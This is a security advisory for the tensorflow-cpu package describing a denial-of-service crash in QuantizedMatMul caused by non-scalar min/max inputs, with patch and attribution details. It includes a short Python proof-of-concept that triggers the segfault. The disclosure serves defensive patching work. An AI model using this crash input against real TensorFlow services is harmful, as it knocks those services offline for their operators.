PT-2026-59900 · Pypi · Tensorflow-Cpu

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.9

Medium

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

If QuantizedMatMul is given nonscalar input for:
  • min a
  • max a
  • min b
  • max b It gives a segfault that can be used to trigger a denial of service attack.
python
import tensorflow as tf

Toutput = tf.qint32
transpose a = False
transpose b = False
Tactivation = tf.quint8
a = tf.constant(7, shape=[3,4], dtype=tf.quint8)
b = tf.constant(1, shape=[2,3], dtype=tf.quint8)
min a = tf.constant([], shape=[0], dtype=tf.float32)
max a = tf.constant(0, shape=[1], dtype=tf.float32)
min b = tf.constant(0, shape=[1], dtype=tf.float32)
max b = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw ops.QuantizedMatMul(a=a, b=b, min a=min a, max a=max a, min b=min b, max b=max b, Toutput=Toutput, transpose a=transpose a, transpose b=transpose b, Tactivation=Tactivation)

Patches

We have patched the issue in GitHub commit aca766ac7693bf29ed0df55ad6bfcc78f35e7f48.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Fix

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Related Identifiers

PYSEC-2026-3285

Affected Products

Tensorflow-Cpu